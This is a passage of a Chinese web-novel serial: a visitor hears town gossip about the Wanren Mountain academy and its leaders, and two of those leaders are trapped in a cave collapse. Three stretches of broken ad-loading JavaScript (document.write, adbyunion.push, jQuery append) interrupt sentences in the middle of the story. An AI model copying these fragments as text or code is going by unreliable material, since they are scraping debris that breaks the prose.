“我跟你说,这不是我妈创意,我头拧下来给你当球踢。”栖凡心尝了口用铜樽盛放的青梅酒:“她最会整这些东西。” 将军小二刚撤下托盘要走,一听这话又折回来,客气道:“这位英雄怕是料错,我们东家年轻着呢,说来也巧,刚刚有孕,明年会诞下头胎。” 栖凡心问:“敢问东家贵姓?” 小二:“免贵姓柳。” 栖凡心道了声原来如此,这些年爹爹来驼暮山都会说起万仞山,他多少知道些,原来这火锅店的东家是柳姨,眼珠一转道:“我们初来乍到,小哥不忙的话,坐下说话?” 将军小二见这年轻公子穿着普通的布衫短褂,但生得极俊,剑眉星目,英气十足,看面相就不是普通人,人也和气,未语先有三分笑,让人心生好感。 别说店里原本就有规矩,客人吩咐不可不应,即便冲着这气度不凡的小哥他也极愿攀谈,坐下作陪道:“小的赵云,英雄尽管吩咐。” 栖凡心对紫鹿道:“你刘备,我张飞,现在赵云都有了,都一个阵营的。” “看来公子也熟读三国!”赵云笑得还挺有气度,口条清晰,侃侃而谈:“也是,这年头谁不知三国?书铺里《三国》都卖断货。” 栖凡心道:“什么时候出的三国?” “两年多了吧。”赵云指了指窗外:“就咱们这条宽容道,十家铺子有七家卖书,小哥是不是也来淘书?来这儿就对了!十里八荒的人要淘书都来咱们这开悟镇!” 栖凡心:“这镇,立起来没几个年头吧?” 赵云把托盘抱在怀里,说起来滔滔不绝:“也就三年光景,太多人送孩子来万仞山求学,山上只有学堂,所以都住山下,镇子就这么起来的。后来书铺又多起来,外面人不求学也会来。大容那边走永嘉,出来就通这儿,付春和辛丰过来更方便,镇上民宿和客栈根本住不下,小哥再往东走走,那边都是工地,镇子在拓边,好多人要来这儿买地盖房。” 栖凡心问:“买地?问谁买?” “问山上买啊。” “可这边不是大荒流吗?原本地就是荒的,怎么算山上的了?” “没有万仞山就没有开悟镇,不通过山上买地造房,镇府不给办身验的。” 栖凡心:“这边地贵吗?” 赵云道:“可以只买地,也可以只买房,也可以房和地一块儿买,也可以租房,花样多了去。小哥感兴趣不妨去镇府问问,悔悟街北边第一间,有人详细解答。要说贵嘛,总是一年比一年贵,谁让这地热呢,但镇府也要审,不是出得起银子就给落户,否则开悟镇早变万丈城了。” 栖凡心哦了一声:“满足什么条件才能落户?” “三代身家清白,出得起银子这些还在其次,主要看落户后以何营生,书铺、戏剧社、出版社、文创社、科工坊比较好通过,其他的只能看机缘。咱们这开悟镇名字不白起,来的人淘书求学,不都冲着“开悟”两字吗?” 换句话说,这就是一个定位成文创主题的镇子,栖凡心笑:“难怪好多人挑着扁担来淘书。” “司空见惯。”赵云也笑:“路远的难得来一趟,不用扁担挑怎么行?” 栖凡心:“可一个镇子除了特色店铺,总还要客栈、饭馆什么的,做这些营生的就不给落户吗?” “小公子问得极是。”赵云回:“只不过镇上的客栈、饭馆、茶铺、超市也都是山上的产业。” 小包子哈了一声:“超市?哪有?” 赵云对窗外指个方向:“往北去,那儿,看到没。” 小包子和紫鹿一瞅,不远处好大一个店面,游人进进出出络绎不绝。 赵云道:“来开悟镇的人没有不去这山海遥的,多多少少会买些东西回去。” 在山上待四年,没想到中土变化快,超市都有了,栖凡心笑得合不拢嘴:“我们稍后也去逛逛,山海遥,名字起得挺别致。” 赵云道:“对,东家姓山。” 小包子知道哪一个,又想到那装修风格前卫的奶茶店,问一句东家又是谁。 “我爱闯闯?那是我们东家夫君开的,小公子别看店小,几年工夫,中土足足开了两百多家呢。” 原来是柳姨那位三登宝堂迎三考、最终抱得美人归的的新婚夫婿啊。 万仞山这些人和事,过去爹爹说起权当故事听,如今亲眼见他们生意做大,栖凡心发自内心高兴:“这镇倒别致,名字都起得独树一帜,桃园三结义、山海遥,连街道都是宽容道,悔悟街。” 赵云:“因为这镇子最开始就是一群罪民在这边落脚,后来才慢慢形成的。” “罪民?” “三年前辛丰旱灾,从辛丰西逃荒来的百姓在山上犯了事,在山下忏悔,所以这里的街名都是他们起的。” 栖凡心皱眉:“犯了什么事。” 说起这桩,赵云叹气:“这帮人当年得万仞山的恩却恩将仇报,把山上人打一顿,被官兵押在山下,也没惩他们的罪,就让他们挖井种树,如今这群人在此安家暴富,辛西帮的大爷爷苏伯每年九月二十八都会率辛西帮的人在山脚下对山上叩拜,请求赎罪,这些街道名都是辛西帮起的,为了让子孙后代知道不可恩将仇报,要为善、宽容、兼听。” 三年前山上暴动?没听爹爹提过。栖凡心想了想,应该和他妈无关,便点头叹道:“万仞山听起来很牛叉的样子,很多人送孩子来求学吗?” 赵云说起这桩就自豪:“听我说多生意事,小公子千万别以为万仞山满身铜臭,不是,真不是!万仞山可能宫,那是书香门第!都是厉害人物,万仞四美,可能双壁,谁不知啊!” “万仞四美、可能双壁?”小包子和紫鹿对视一眼,秒变八卦脸。 “万仞四美就是山上容貌最美的四人,栖宫主、万师 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 尊、慕容师尊和小钟姑娘。” 栖凡心道:“前三位听说过,最后一位小钟姑娘是?” 赵云道:“小钟姑娘是栖宫主的弟子,可了不得,今年才十岁,心算大拿,别说万仞山上没人比得过她,外来打擂台的她都没输过。” 栖凡心笑道:“十岁的黄毛丫头?” 赵云摆手:“谁敢说小钟姑娘是黄毛丫头,她那脸,配上那气势,‘丫头’两字都套不上。” 栖凡心摸下巴,真有趣,“可能双壁又是谁?” “自然就是可能宫两位宫主咯,栖宫主和容宫主。” 栖凡心哦了一声:“两位宫主,谁正谁副啊?” “不分正副。”赵云道:“容宫主,你知道吧,前朝大神官容绽,大容第一神童,现下是咱可能宫的宫主。山上一百样事归他管,隔三差五上山挑衅的,来拜山头的……只要银发素服的容宫主出现没有摆不平的。之前好多人怕容宫主,他整日不苟言笑,很威严,后来有女子上山求爱,一传十十传百,想一睹容宫主风采的女子把山道都堵瘫。万仞山没办法,去年还放爹娘上山接孩子,今年只准孩子上山,大人只能在山下等,就因好多人谎称接孩子,上山就追着容宫主跑。” 以前就是这位大神官用疗愈术救的他,栖凡心对容绽有点印象,点了点头,话锋一转:“另一位,栖宫主呢?” 赵云道:“栖宫主……不太好评价。” “怎么说?” 赵云道:“万仞山是栖宫主创立的,但她不太出来见人,很神秘的样子,听说身体不太好,一直在养病,可能年纪大了,风湿比较重。” 紫鹿一口酒喷出来:“年纪大?风湿重?” 赵云道:“是啊,听说长得极美,但半老徐娘了。” 栖凡心捏眉心,紫鹿笑得打跌。 赵云继续八卦:“两位不知吧,咱们这万仞山不简单,可能宫和朝廷啊,关系好着呢!” “哦,怎么好法?” 赵云手背半遮嘴,倾身道:“听说大容王会来山上看容宫主。” 栖凡心皱眉。 赵云:“大容王,啊,谁人不知,出了名的不近女色,一把年纪都没成亲,和容宫主倒是……”很有些“你们外地人不知道吧”的优越感:“知己。” “我王每次来山就找容宫主去戈壁打架,啊不,切磋,一个前朝皇子,一个今朝皇帝,出门右转,书铺里都是他们的话本,大家最爱看了!” 栖凡心一时不知做何表情,低头涮羊肉,紫鹿哭笑不得岔开话题:“我们适才见城门口的地图上画着一块红色标记,下面写着“子石”,敢问小哥,子石又是什么东西?” 赵云:“公子看来真是第一次来大容,以后您无论去大容哪个城镇都会看到的,城中最繁华处,酒肆茶馆旁都有子石。高高的一块碑,每日从辰时到亥时,每半个时辰会出现不同的文字,好多人围着看。” 紫鹿哈了一声:“你是说石头上会出现文字?” 赵云道:“是啊,子石内容都一样的。” “什么内容?” 赵云两眼放光:“课程,知识,小说,诗词,笑话都有啊!我每日下工去看《再生缘》,昨天看到孟丽君和皇甫少华相认,哎呀,精彩!” 赵云滔滔不绝,栖凡心和紫鹿一面听一面吃,终于在八卦下用完膳,出得店来直取超市。 货架上从吃的到用的,从穿的到睡的,满满当当眼花缭乱,都是对紫鹿而言极陌生、小包子一看就知道是什么东西的货品。紫鹿越看越想买,被小包子直接拉走:“后面有的是时间。” 之后又去镇中心看子石,一个大凉棚下竖着一人多高的石碑,周围密密麻麻围着人议论纷纷。 挤进去见满碑文字,是一则新颁布的政令。 大意是说今年年底与岁同庆,金光万丈城将主办“光影璀璨第一届大容年货节”,想去摆摊卖货的商家可去各城府衙递帖,下面是十条详细的商户审核标准,以及年货节上会有的庆祝活动。 紫鹿和小包子耳语:“两位主子真会玩。” 小包子哼笑一声:“上山。” 207. 第 207 章 不到下学时间,山道口人不多,但再过两个时辰此地将人山人海,都是来接学子的大人。 万仞山学子来自大容各地,很多有钱人家将少爷小姐送来,派人伺候,或夫人直接跟来照料,在开悟镇一住好几年。 此刻山脚聚集是前来打听怎么将孩子送来求学的人,胡桐林外有接待小楼,门口写着“可能宫问询处”,有穿着青色罩袍、束着腰封的青年接待,解答问题。 他们一遍遍地说可能宫班级有限,每年只收三个班,每班不超四十人,有意向的拿表回去填。 除了填写基本信息,表中还有几项希望孩子口述,大人代写。 比如你希望未来成为一个怎样的人?你希望从可能宫学到什么?你怎么看待万仞山可能宫等等。 没有标准答案,山上会择优录取。 别以为拿回去由大人代为思考后填写就可蒙混过关,这只是初筛,后面才动真格——孩子需要面试。 每年的面试都由容宫主、万师尊、慕容师尊三人主持,至少要两位导师通过才会收下一个孩子,不看出身,不看孩子是否聪敏,他们面试的依据外面人至今摸不透。 有人说山上束脩收得高,穷人根本没机会,还真不是!只要通过面试,贫民子弟不仅学费全免,每月还会发放补贴,确保孩子在山下食宿没有问题。 当然,接待小哥们一遍遍解释,说得最多的是劝大家不用挤破头将孩子送来万仞山,因为在大容,九年制的私塾“可能斋”已经开了二十一家,遍及各大主城,老师都出自万仞山,受可能宫培养,拿了资格证才上岗。 可能斋的教材、进度、教学质量和山上同步,束脩却只要可能宫五分之一,普通家庭也承受得起,读得好的孩子还能获奖学金,一年五百两白银。很多贫民子弟拼命学,希望拿到奖学金为家中补贴。 问题是如今在大容二十一家可能斋杯水车薪,上百位持证的夫子完全不够用,还是有太多适龄孩子拒之门外,不得已去散落民间的私塾,认两个字完事。 这些情况栖凡心都知道,还和爹爹讨论过。 早过了被他妈威逼练字、一见学校就头痛的年纪,十六岁的栖凡心比同龄人成熟得多。他跟他爹讲,教育这事不能太商业化,百年匠心都靠磨出来,他妈不急着扩张,稳扎稳打是对的。引得他爹拍拍他肩,说了句真是和你娘一个德行。 栖凡心带着紫鹿绕过问询的人群,沿茂密的胡桐林往山道口去,给守山的宫人递了令牌。 片刻后便有穿着同款青色罩袍的侍从将他们带上山。 闭关四年,听了无数次万仞山,这还是他首次踏足山界。 上得开物顶眼前一亮,这片开阔山头上,规整石板路通向山巅一座恢宏大殿,大殿两翼相隔百米则是左右三排毗邻的教舍,足有二三十间,而石板路的两侧是两个大校场,有篮球架和足球架……… 侍从带他们往后进去,和大殿同落中轴线的一间朱红色厅堂,在堂上候了片刻有人来。 来的是个气质飒爽的女子,入屋一揖,口称殿下。 栖凡心见她青袍及地,不仅束着腰封,肩膀处还秀有漂亮的大幅七彩雀鸟,规格上看远远高于普通侍从。 栖凡心抬手,道声免礼,听她自报家门,说叫聂灵,是山上灵鸢阁长老,又道栖宫主下洞去了,已命人在洞外候着,只要宫主出来就通报她知道。 栖凡心点了点头。 在山上别乱说话,别乱认娘——这些爹爹早和他说过,内里来龙去脉他也全数知道,也知聂灵真名聂灵鸢,过去是爹爹手下大将,如今是妈妈麾下总管。 简而言之,自己人。 母子三年未见,栖凡心一时有些坐不住,站在堂口等。 以为人就来,谁知一炷香功夫都不见人,正想转头跟聂灵鸢说不如直接带他去,就听远处传来一声巨响,脚下土地都晃了一晃。 聂灵鸢脸色一变,说句殿下稍后,跑出厅堂没了人影。 ………… 栖真算着日子等小包子回来,早也盼晚也盼,这日午睡起来想下厨做几道小菜,也好晚上一家团聚。谁知刚从鱼龙舞出来就听人报,说子石洞中有新发现,容宫主请她去。 栖真嘱咐颜心帮她把鸡炖上,自个儿换了身袍子步出花千树,撑把青纸伞出了门。 八月艳阳正烈,走在荷花池长长的石桥上,地面石板都烫脚。 万仞山什么都好,就是夏日酷暑难耐。房里还能放冰炭制冷,室外热得人受不了。可栖真脚步轻快,和小包子三年未见,思念得很,知他今日归家,怎不让人雀跃? 栖真一路步出长风谷,和谷口守卫点头示意,穿过谷外的工坊区。 谷外开阔,曾是天然密林,如今全数改造成实验坊和工坊。平时她和万叶飞、慕容烟月在实验坊待的时间最长,从实验坊出来的图纸会流转到工坊开模出样,再拿新品到民间工坊量产,最终进入市场销售。 三年里,可能宫在民间扶持和入股了三十多家工坊,帮助引入工艺、改进流程、提升效率,成品再交由山海遥出售,掌控了一整条产业链。 照栖真思路,她既然拥有麒麟穴就是资方,钱放着不会生钱,做个好风投,拉巴着上中下游一起发家致富,进入良性扩张才是正途。 自从柳闯夫妇在餐饮业如鱼得水、山遥的门店业务如火如荼,英迈也像开了窍,挑起重担,专司生产,在栖真调教下再没过去的纨绔,也成为独当一面的二把手。 又因为许子鉴在背后把控所有对外入股和生意的账目,聂灵鸢负责万仞山和开悟镇的运作和财务,犹如加持的两把风帆,可能宫财富积累的速度煞是惊人。 当然,这番运作并不对外宣扬,万仞山在世人眼中始终是清风明月、不沾铜臭的士林圣地!只要有“清心寂神”容绽坐镇,足以让可能宫在中土的白马清流中声名海外。 这样的影响力倒不全因容绽前大容皇子的身份,他这几年持续在大容士林界影响最大的《莘莘学报》上发表文章,对大容基础教育的现状,改革的走向、利弊、难点分析得极为透彻,他作为被推翻的前皇室,对如今大容朝堂并不心存芥蒂,虽也针砭时弊,但就事论事,甚至给出中肯的建议,着实让人称奇。 此举虽遭不少私塾夫子和前朝旧部的排斥和非议,但也引来一大批志同道合、心胸开阔的读书人上山求学,立志为师。可能宫容宫主的名声水涨船高,加上围绕他周身的绯闻轶事,如今在中土提起万仞山清心寂神,谁人不知,谁人不晓。 如今子石洞周围都设专人把守,这些人前身是袁博麾下守兵,如今常驻万仞山再不做兵卒打扮,青色罩袍,短打衣着,见栖真过来,恭敬行礼:“见过宫主。” 子石洞口早已扩大数倍,方便运输开凿出来的石头,洞口造有木梯,栖真扶梯而下,见洞中火把通明,莫生和白三带着几十号工匠都在,见她来连声道:“宫主快来看看!” 如今的子石洞和从前大不同了。 承载过表白的墙面用滑石粉圈出来,由慕容烟月主持的朗月阁负责,每个时辰在墙上更新内容,以便全国子石同步放映。由于这墙面承担的功能重要,墙前围出一块空地,只留单人入口,不让人随意靠近,只有朗月阁的人才能进去书写。 万仞山把这里称为“总台”。 离总台十丈远的洞壁被挖开,挖出一个十米见方的洞穴,遍布全国的子石都从这里凿下,运到各地。 白三和莫生将栖真引入洞内,指着底部一处新洞口:“挖着挖着就凿穿了,发现里面有条通道,容宫主进去了。” 洞口刚好容纳一人通过,因为是不当心凿出来的,边缘很毛糙。白三举着火把进洞,和莫生一起用手挡着尖棱处,等栖真也弯腰跨入,由白三引着往里走。 通道窄,两边山壁干燥光滑,自然突出,没什么人工开凿的痕迹,倒像巨大山壁间夹着的羊肠小道。栖真没想到这里别有洞天,听前面领路的白三道:“我们在通道尽头发现了怪石,宫主看看。” 前方三四十步远逐渐开阔,可听人声,也有火光。 “宫主来了!”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “宫主安好!” 里面三四个工匠纷纷行礼,随之,洞中传出数不清的重叠声音。 是回声? 栖真往开阔洞中一站,火光下扫了一圈,一圈洞壁上出现好多个“她”,在背后数人映衬下,诡异的像站在电视大卖场,眼前摆着一溜播放同样节目的电视机。 容绽用手按着洞壁在勘察,听栖真进来道:“站这面石壁前试试,其他石壁映出来的人像是最完整的。” 他进来后明显做过实验,虽然栖真不知道目不能视的容绽怎么做到这一点,大概他平时起居坐卧太不像个盲人,久而久之万仞山上下都快忘了他眼睛看不见的事实。 栖真站到他立的位置,果然,一、二、三、四、五……周围至少有八面洞壁,都出现了她完整的正面形象。 栖真对众人道:“你们先出去,我看下没人的情况下能听到多响的声音。” 阑珊将火把递给栖真,带着白三和其他工匠原路返回,洞中立刻静下来,只剩栖真和容绽。 栖真让容绽站到离她最远的洞壁前,自己站在他说的测试位,看着石壁上的影像道:“没想到洞里还有这么块地方,阿绽,你知道发现这个意味着什么吗?” 容绽在那头很清晰地听到她的声音,回道:“我们有了两条通路,你说的直播将成为可能……石头里你的声音很清楚。” 容绽听力超群,可以轻易分辨如今听到的声音来自身后多一些,还是来自面前石头里多一些。 栖真将脸贴近石壁,极轻的声音说:“这是件翻天覆地的大事。” 这样的音量,站在远处的容绽应该听不见,但石头还是清晰地将她声音传入容绽耳朵。容绽回头道了句“能听见”,也凑近石头,用很小的声音道:“谨慎对待。” 两人聚到中央,栖真道:“我说的你听得到,你说的我听不到,换句话说这个洞里的直播石和外面的子石一样,也是单向传输,你适才找到的这一面就是总台。” 人都撤了出去,洞中光线昏暗,只靠栖真手中一个火把照明。 她又站到测试点,前前后后调整位置,挥动手里火把,发现石前直线三米,左右五米内都能完整收到影像和收音,超出这个范围就不太行了。 容绽抱臂靠着石墙,金玉色的长袍衬着白发银灿光华,任由火光在眼睑前晃动。他知道栖真在做测试,多年来共事的默契让他没出声打扰。 过了一会儿,栖真把结果告知。 “阿绽想什么呢?有了新发现,好像也不怎么兴奋?” 确实!和白三莫生他们发现新大陆的兴奋劲比,两位可能宫大佬显得淡定多了。 “在想这些石头的用途,和开凿它们要花的时间、人力,以及可能带来的麻烦。”容绽反问:“宫主好像也不怎么兴奋。” 栖真终于停下晃动的火把:“心境不同了,三年里太多新事物出现,忽然有此发现,觉得也不过多一样新东西而已。” “是啊。”容绽道:“何况这对你来说,未必是什么新东西。” 他用三年时间见证栖真如何将各种在世人看来奇思妙想的点子变为现实,别人或许赞颂栖真无与伦比的创意,他却知道原因,知道这些东西真实的来处。 为护好出点子的人,他三年里忙得团团转,只为模糊和遮掩这一惊世骇俗的事实。 “与互联网比确实没多新鲜,但一处天然洞穴居然可以实现信息互联还是相当神奇。”栖真摸着石壁道:“我刚才在想,我们还会不会在山里开采出第三条通路、第四条通路,比起量采一条通路,能实现双向沟通就更好了。” 容绽叹了一声:“宫主就是拉车的马。” 点子一个接一个,三年里拉着可能宫一路飞奔,让所有人跟在她身后疲于奔命,但凡能力差点的都跟不上她思路,甚至会心生怨怼,觉得这女人不知餍足,永远在希冀前一步,再往前一步。 太默契也不好,栖真笑道:“又在腹诽我是匹横冲直撞的疯马。” “可能宫谁不疯?”容绽道。 208. 第 208 章 这是真话! 辞了善巧监事非要留在万仞山、每天在坊间把实验做到废寝忘食,经常兴奋到忘了去给学生们上课的万叶飞不疯?管着一堆工坊、成天追在万叶飞后面要图纸的慕容烟月不疯?把火锅店和茶饮铺开到停不下来的柳絮回和阿闯不疯?天天堵门游说手艺人开工坊、游说现有工坊让可能宫入股的英迈不疯?还有把门店生意做上瘾、总结出九九八十一式、一面开课一面开店的山遥不疯? 即便他们收的弟子——拜在容绽门下的栾音,拜万叶飞为师的栾乐,拜给栖真的钟情,都是一个赛一个的有个性。 外人看万仞山可能宫端庄持重,谁知内里全是一群走路都嫌慢、不跑都觉亏的疯子! 没办法!上梁不正下梁歪,谁叫可能宫大佬自己都说,我们就是疯并快乐着的一群人,为此可能宫另一位大佬简直夙夜难安,若非三年前白了头,这三年只怕也要为可能宫白的——做一根控马的辔绳太难了! 栖真笑着邀容绽一起出去:“好啦不急,我手上还有五部书稿、八个实验、十二项产品要完成,我每天最开心的事就是睡个午觉,今天小包子回来,石头的事先放一放。” “放多久?” “明日招长老们开会再说。” 所谓放一放,就是指放一个晚上……容绽发誓,有时候他是真不想睬栖真! 无奈地走在前面,围绕新摊子,他脑中嗡嗡,待办列项已高达十三条。 可他忽然在狭窄的通道中停步,身后说着话的栖真差点撞他背上。 “怎么了?” “听!” 洞里瞬间安静下来,眨眼功夫,头顶有碎石滚落的声音。 栖真举火把往上照,上头黑漆漆的看不清,她没反应过来就被转身的容绽推着往回跑。 轰隆声越来越响,多米诺骨牌似的向他们拢来,火光下栖真惊恐地看见两边山壁在身后呈急速坍塌之势。 震耳欲聋的坍塌中,栖真被扑倒在地,一双强有力的臂膀将她紧紧护在身下,火把脱手,周遭只剩黑暗和恐怖砸下的乱音,栖真满耳昏聩晕过去。 ………… 好不容易恢复意识,鼻间全是石屑和粉尘,栖真咳了数声,身上压着的份量太重,只有两只手还能动。 “阿绽!容绽!?”栖真边咳边转手往身后摸,猜测自己是在千钧一发之际被容绽扑倒,两人齐齐摔入洞中,幸亏坍塌的只是山道,洞中并未波及,否则他们难逃升天。 栖真摸到温热的皮肤,应该是容绽的脸,就磕在她背上,再往下是他的背,再往下……只能摸到石头了。 他被压住了吗? 栖真浑身战栗,大声喊容绽,喊到嗓音嘶哑,才听男人虚弱的声音:“别……” 那么弱的一声,却让栖真神魂归位,趴在地上没了力气:“阿绽。” “没死……”容绽声音都在颤:“快……被你……吼死了。” “什么死不死,别这么说!” “卡住了。” 栖真顺着他的腰往下摸,他的身体果然被卡在石缝里,她想把手探进去,试了半天只能伸进两根指头。 容绽一时没有声音,栖真就怕他不出声:“说话啊,你不说话我害怕。” 容绽放松下来,断断续续:“还以为你天不怕……地不怕……你有没有受伤?” 栖真道:“没有,你伤哪里?” “不知……别动……”栖真抬起上身,容绽趴在她身上也只能跟着抬起,背上太疼了。 栖真只好躺下不动:“外面会救我们,你撑一下,马上会有人救我们出去,阑珊莫生都在外面,会去找灵姐的。” 容绽还有理智跟她分析:“山上不能用法术……只能靠人挖……得好几个时辰……” 栖真感受他微弱的呼吸搔在背上:“阿绽,跟我说话,别晕过去。” 容绽似乎笑了一下,声音越发弱了:“平时陪你说的话……还不够多?” “不!”栖真有不好的预感:“你喜欢跟我说话对不对?现在也说,别停!” 黑暗里静下来,片刻才听容绽道:“我怎会遇上……你这样的女人……” 容绽左手还能动,栖真摸索着紧紧握住他,真怕他一口气散了:“你就是遇到了啊。” 容绽回握,这样一个动作都像牵动伤势,黑暗中痛苦的喘息越发浓重:“别说了,会……窒息。” 栖真明白他意思,此刻洞口全数封闭,时间长空气越来越稀薄,若无外界救援,他们没被砸死也会窒息而死。可她不能不说话,不说话真担心容绽挺不住,“我讲慢点没关系,你得挺住知道吗?我们还有很多事要做。” 容绽动了动指头,交握的手指摸索她戴的戒指:“有这个……他会来救你。” 栖真惊:“你……” “岩崖谷的护戒……用血誓养着的戒灵。”容绽道:“你……终究是和他……” 他没再说下去,但栖真明白他的意思。 三年里容绽彻底封闭自己,对她也不苟言笑公事公办,现下反倒是两人三年里最接近时刻,将深埋的胸臆剖开。 “你怎知我戴这个?”山上除了聂灵鸢和容绽没有别的修行者,除了聂灵鸢,别人不会知道她戴的是护戒,而容绽……根本看不见! 容绽:“我看得到……戒灵。” 栖真:“看得到?” “三年前入了全尽……就看得到。”容绽道:“人皆有灵……颜色强弱不同而已……你手上的戒灵也是。” “所以你看到的是一丛丛鬼火?” 栖真知道容绽在笑,夏日衣衫单薄,背上被他压着的地方血汗交织,栖真知道容绽一定很疼,可这么疼了,他居然还在笑。 “差不多。”容绽道。 栖真:“所以才不治眼睛吗?” 容绽默了片刻。 治眼睛啊…… 说到治眼睛…… 每年九月他会离开万仞山十日,去扫墓和周游。 去年回大容为大神官和父皇上香时遇到容聘,容聘盛怒:“背叛大容,为虎作伥,还有脸来父皇墓前祭扫!”把他插上的香扔地上,仿若污秽:“你知不知道外面怎么传你?” “怎么传我?”他静静站在陵前,面无表情。 容聘:“你和大容王喊打喊杀,如今却成知己?大敌当前,趋炎附势不思报仇,你眼瞎!” “我原本就眼瞎。”静了很长时间他才淡淡道:“我把双目祭给亲人故国,素服相守,此生不求复明。” 是的他看不见,但不妨碍他开心眼,他的心是亮堂的,指引他追求的方向。只是可惜这想法和弟弟无法沟通,道不同不相为谋,多说无益,只得临走前留给容聘一套新《三国》,里面夹了三万两银票。 当年容聘揭竿而起,山寨被大容兵围了一年,断去山上生计,寨中人三五一群偷偷投诚,如今容聘孑然一身,也不知以何为生 ……身体越来越冷,容绽收回回忆,强撑道:“与此无关。” 不肯治眼,和是否看得到灵相没关系。 “栖真……”他奄奄一息叫了一声,三年没叫过的名字,在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 生命流逝的最后时刻还是叫出口。 一声后又没声音。 “阿绽!”背后呼吸越来越弱,栖真急道:“你问啊,想问什么都可以!” 容绽终于再次启口:“你们为何……不成亲?” 栖真一窒:“你知道了?” 容绽轻咳:“风宿恒……单名畅,不是吗?” 风宿恒确实极善伪装,假扮的阿畅没漏一点马脚,若非自己眼盲,以心观之,才发现风宿恒和阿畅呈现的灵相是同种天青色,一炽一弱,独一无二——他从没在别人身上见过。 开始只是疑惑,但再愚笨这么长时间也想明白了。 三年里冷眼旁观,他搞不懂这两人怎么回事,原本想把疑问烂在肚子里,要不是怕见不到明日太阳,他绝壁不会问出口。 “他宁愿扮做仆人……在你身边……也不愿……光明正大娶你?”容绽说得吃力,但再吃力也要说:“别怕……有委屈……我们给你撑腰……万仞山今非昔比……不能让他负你。” 栖真从惊诧到感动,一时不知如何解释,只是问:“你们都知道了?” “他们应该……不知。” 栖真低声:“我怕大家没法接受。” 容绽明白过来,他在疑惑他们为何偷偷摸摸,栖真却在顾忌万仞山大容旧部,生怕她和风宿恒在一起让他们心生芥蒂。 容绽心如刀绞,辨不出躯体的痛还是心疼,“别拖……我希望你当……大容皇后,可能宫是你娘家……也是你后盾……无论嫁给谁……你就是你,让风宿恒昭告天下……凤冠霞帔……迎你入宫。” 将近四年,风宿恒无数次问她何时能行大礼,她总以没身孕、忙不过来为由,拖了一次又一次。 可能宫繁忙是真,但栖真知道总有一小部分原因是她担心去面对容绽和絮回,嫁给他们仇人,如今好不容易得来的和谐局面又将倾覆。 可原来是她看轻容绽! “阿绽,即便嫁,我也不会离开可能宫。” “成婚后……你能回来住。” “不是我不想离开,是我没法离开。”栖真道:“这是一个秘密。三年前我没把所有实情告诉你,你想知道就一定要挺住!只要我们顺利出去,我就把所有事情告诉你。” 容绽偏头,将另一侧脸靠在她背上:“你……” 只一个“你”字,竟不知再说什么。 “阿绽对不起!那时我真地不敢说,我怕失去你们。我被囚在山上没法下山,可我不想一个人待在这里,我怕周围没一个知心人,我想你们在山上陪我,所以不敢把真相告知。我不知说出来你会不会原谅我,会不会愿意待在山上,我一直想等等、再等等,如果我能带大家闯出一番事业,兴许你们能把仇恨放下……”栖真哽咽:“现在我知道是我错,我以小人之心度君子之腹,想错了你,也想错了阿絮他们。” 容绽沾血的指悄悄将栖真发丝在指上缠绕,又悄悄放开,这个小动作栖真没有察觉。 女子出嫁须盘发,她盘发的样子,只怕他这辈子看不到了。有些话现下不说,后面没机会了。 “为何……不说实话。”容绽道:“让我像个傻瓜……为你放下一次、两次……可不能总让我傻啊………我没那么大度……上次能在你面前装平静……用尽我所有力气了。”身体冷下来,疼痛在逐渐消失:“可我……没有办法,知道你骗我又怎样……其实离不开的……是我。” “阿绽。”栖真难过地喘不上气:“你傻啊。” 容绽好像又笑了,几不可辨:“是你……傻啊。” 209. 第 209 章 自从把护戒给了栖真,三年里风宿恒忙得团团转,没消停过。 栖真煲个汤烫到手,护戒亮了。 走台阶不小心摔一跤,护戒亮了。 天太热中了暑,护戒哔哔哔亮个不停。 有一次更夸张,风宿恒都飞到万丈城准备上朝,手上护戒亮得红光满面,他赶回一问,栖真说大姨妈来了,有点疼。 三年里风宿恒一次次惊吓,一次次赶回,结果都雷声大雨点小。栖真过意不去,一直跟他说别戴了,这戒指好变态啊,可风宿恒就是不给摘。 “戴着,万一哪次来真的呢?” “万一来真的,你也远水救不了近火。”栖真实话实说:“现下山上那么多人呢。” “不行。”风宿恒坚持:“万一有事,我不能最后一个知道。” 这日护戒又大肆作妖时,风宿恒正御剑天上。 知道小包子今日归家,他得早些回去,昨晚便没回万仞山,和钟雄尚可薪他们在宫里商讨一夜,宿了一个时辰便起身上朝,忙到午后径直出宫。 天下忙到像他这般苦逼的王真是绝无仅有,这几年也想过把中宫搬到万仞山,山上地方大,好多山头都荒着,如今国库充盈,造片宫殿不在话下。可肖想数次,最后总是作罢,因为这不是简单的搬家,而是迁都! 朝堂可以迁到万仞山,朝中臣工、各部府衙是否也得拖家带口搬来? 万仞山毗邻付春,万一开仗,没有地理缓冲,为了保障中枢,是否还得建城墙囤兵? 万仞山和大容本土之间还隔着大荒流,政令下达、各地官员觐见都耗时耗力,以如今大容飞速发展的状况看根本不现实。 更何况万仞山在世人眼中已是学正之地,一旦和朝堂合并,很多事情性质就变了。 所以想来想去,这念头被风宿恒一次次按熄,要两边兼顾只能是他来回飞——这是花最小代价取得平衡的最好办法! 换个人处此境地可能会觉得烦躁,但风宿恒没有,他心有所期,忙而不茫。栖真强大又独立,三年里比他还分身乏术,在那些被护戒催逼回去的天数里,风宿恒反而更能感受她的依赖。他每次白跑,他的妻都不好意思,疼了要抱抱,困了要抱抱,心情不好更要抱抱,比平时黏人得多,让风宿恒很受用。 所以这日,当手上护戒又在云霭间频频红光,风宿恒立即加速御剑,脑中飞快过了一遍所有可能。 不会葵水疼,离这个月来还有三四日;不可能吃坏肚子,花千树的饮食都是颜心带三个宫中过去的老嬷嬷亲自操持;不可能睡觉着凉,房中冰炭放得多,他不在的夜晚,颜心总会去看一看她,热了冷了都照顾着;更不可能旧伤复发,三年里每隔三日泡一次药浴,栖真已经连着好几个月手脚不再酸痛。 想来想去只有一个可能——小包子回来,大概栖真又亲自下厨,切到手,或者又烫到了。 风宿恒不自觉扯起嘴角,微笑浮在面上,摇头叹气。 本该御剑至开悟镇外一里处落地,那边荒芜,有间护林小屋,门口拴着马匹。如今开悟镇上熟人多,安全起见,他每次都在那里换马,变成阿畅再回山。 